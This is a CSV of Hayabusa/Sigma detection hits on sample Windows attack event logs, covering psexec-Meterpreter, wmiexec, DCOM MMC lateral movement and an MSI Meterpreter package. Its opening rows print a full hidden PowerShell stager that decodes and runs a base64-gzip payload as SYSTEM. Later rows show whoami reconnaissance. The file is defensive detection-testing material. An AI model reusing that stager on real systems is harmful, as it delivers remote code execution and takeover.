+2019-05-01 05:26:52.106 +09:00,IEWIN7,1,informational,Process Creation,"Command: powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1vg7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1vg7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,medium,Mimikatz Command Line,,rules/sigma/process_creation/win_mimikatz_command_line.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,high,Suspicious PowerShell Command Line,,rules/sigma/process_creation/win_powershell_cmdline_special_characters.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.106 +09:00,IEWIN7,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""powershell.exe"" -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1vg7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA=='))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd())) : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: NT AUTHORITY\SYSTEM : Parent Command: powershell.exe -nop -w hidden -noni -c ""if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIuvyFwCA7VW+2/aSBD+OZH6P1gVErZCMA60aSJVujVPE5xADITHodNir+0lay/Ya169/u83Btym1/SuPeksHruzM7Mz33w7azcJbUF5KM2DxU1J+vTm/KyLIxxIco6MClKOmsrZGQhz5Er6KMlTtFzWeIBpOLu9rSZRREJxnBebRKA4JsGcURLLivSn9OSTiFw+zBfEFtInKfdHscn4HLOT2q6KbZ9Ilyh00rUOt3EaSdFaMirk/O+/55XppTYr1lcJZrGct3axIEHRYSyvSJ+VdMP+bknkvEntiMfcFcUnGpavioMwxi65B29rYhLhcyfOK5ADfCIikiiUIJvU/Lgo52HYjbiNHCcicZwvSNPU8XQ2+02ennZ9TEJBA1I0QkEivrRItKY2iYstHDqMPBJ3BlaWiGjozRQF1Nb8mci5MGGsIP2KG/mebDLMftZIfmkEWl0RKYW0gn/P0uROwsjRLv9KmFBzBZ5j3QGyz2/O35y7GUVWdyP6kiEwOpsexgQCk7s8pge9j1KpIJmwCRY82sE0148Sosy+wCrl3Gbhx9ZapgqKfP+0BdF0yKkzA5NTHXMbkUp/zMYacWlIarsQB9TOCCe/Bi5xGTnkV8zU7iEkOX9aIE6NMOJhkQKW1vg7s3pAxRdbPaHMIRGyoUAxRAW1U74N5lgDOW+EJgkAn+McSJdzgeYk0z5Re5ftns5BKV9lOI4LUjeBc2YXJItgRpyChMKYnpZQIvhhmP8arpkwQW0ci8zdTDmieNqtysNYRIkNBYPM+9aS2BSzFIiC1KIO0XcW9bJd86/CUMWMAfvB0xrKAJI0fUukNIicNLumUrSIMIIlIwFoHA57g2EPjvaJ4QfWYI84+W+jyxh8pGuKQpb+i9igtBbjoiANaSSgY6SIpuz5L1u/6BQQRDUipwLI2ZmY6juRMjm3H6c8PKFxyD0SkHcj4oGOY/K+cuwJ8lv1gVYRPGMjZKatP1MNbahmmPAd0LLBa9fOXXvRUqPa1neRERtmq1vrtVqVddsaVoRVN8Rd1xBmfbRYWKj1OBiLiYFafVp6Hlf2yzbdWx3kjLfq+72+35T07X7hOe645rretWs9au8atPNU7emlK9yp1ZPOk77RS5W4TjetHh30ntsNMR8PGR64qjfSbjDddqLFUOPm3kCo6ZftfdsdNn3T2Y1blCzUUof2UA+hO/txMGh6S68ZI/VmuKoG3h1CRh8jA9WHu/Y7pvcGDR0N6noPP/Bu+aKmahNnVW9MRrgdMKfZUrXxCDkoUvuer10/+GGKE/b0lZ7qoM5k11BBp1tBrcoV3U9WvaaH6qAzDDjCDfo8uBiBz/s+2DwNNIcjERojVR16qodcyx9jpIO2vkINnVd3H7pmVx0Or3xt/qz5EDMZrT+YbXTRsLuqql4Ec/hVkW0ut+FI31yvvZbF7/AdHq4nZVXrb5ouWqGLC13T56JVL7fXsG9fvRl8fJtyB8iTc/f+5AUvftTATRzFPmbAF+jN2cls8Khx6rhdTlMLWT5ezs8kCgmDCw6uwIzliDFup83+0Jzhojm2//Q2GsCwfPXqSJG+KCpfr4FMdHs7gTDh3OzHxQ4JPeEXSttyqQRdvbStlCDJn0+sypc7GRwV0jvhgMvRLzv4VdKzlPMfh1Hlf4brdIZ9+HP+Da6vsn9Y/SkIS4Vjyt+JvxX8EqK/nvsTpgJULehDjBxvv9chOJHjxYvBoTRQfff0pK91D4m4vIcXhjfnfwFhhx3MPQoAAA==''))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,high,FromBase64String Command Line,,rules/sigma/process_creation/win_powershell_frombase64string.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,high,Suspicious PowerShell Command Line,,rules/sigma/process_creation/win_powershell_cmdline_special_characters.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.356 +09:00,IEWIN7,1,medium,Too Long PowerShell Commandlines,,rules/sigma/process_creation/sysmon_long_powershell_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:52.371 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:26:54.152 +09:00,IEWIN7,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_sysmon_psexec_smb_meterpreter.evtx +2019-05-01 05:32:51.168 +09:00,IEWIN7,1,informational,Process Creation,Command: cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1556656369.7 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.168 +09:00,IEWIN7,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.246 +09:00,IEWIN7,1,informational,Process Creation,Command: cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1556656369.7 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.246 +09:00,IEWIN7,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.324 +09:00,IEWIN7,1,informational,Process Creation,Command: cmd.exe /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\__1556656369.7 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.324 +09:00,IEWIN7,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.324 +09:00,IEWIN7,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.371 +09:00,IEWIN7,1,informational,Process Creation,Command: whoami /all : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: cmd.exe /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\__1556656369.7 2>&1,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.371 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:32:51.371 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_wmiexec_impacket_sysmon_whoami.evtx +2019-05-01 05:35:11.856 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\mmc.exe -Embedding : Path: C:\Windows\System32\mmc.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:11.856 +09:00,IEWIN7,1,high,MMC20 Lateral Movement,,rules/sigma/process_creation/win_mmc20_lateral_movement.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:12.449 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1556656511.61 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\mmc.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:12.449 +09:00,IEWIN7,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.449 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /Q /c cd 1> \\127.0.0.1\ADMIN$\__1556656511.61 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\mmc.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.449 +09:00,IEWIN7,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.512 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\__1556656511.61 2>&1 : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\mmc.exe -Embedding",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.512 +09:00,IEWIN7,1,high,MMC Spawning Windows Shell,,rules/sigma/process_creation/win_mmc_spawn_shell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.512 +09:00,IEWIN7,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.543 +09:00,IEWIN7,1,informational,Process Creation,"Command: whoami /all : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /Q /c whoami /all 1> \\127.0.0.1\ADMIN$\__1556656511.61 2>&1",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.543 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 05:35:13.543 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_impacket_docmexec_mmc_sysmon_01.evtx +2019-05-01 07:48:59.260 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\system32\vssvc.exe : Path: C:\Windows\System32\VSSVC.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:49:09.760 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\Installer\MSI4FFD.tmp"" : Path: C:\Windows\Installer\MSI4FFD.tmp : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\msiexec.exe /V",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 07:49:09.760 +09:00,IEWIN7,1,high,Execution Of Other File Type Than .exe,,rules/sigma/process_creation/process_creation_susp_non_exe_image.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/Exec_sysmon_meterpreter_reversetcp_msipackage.evtx +2019-05-01 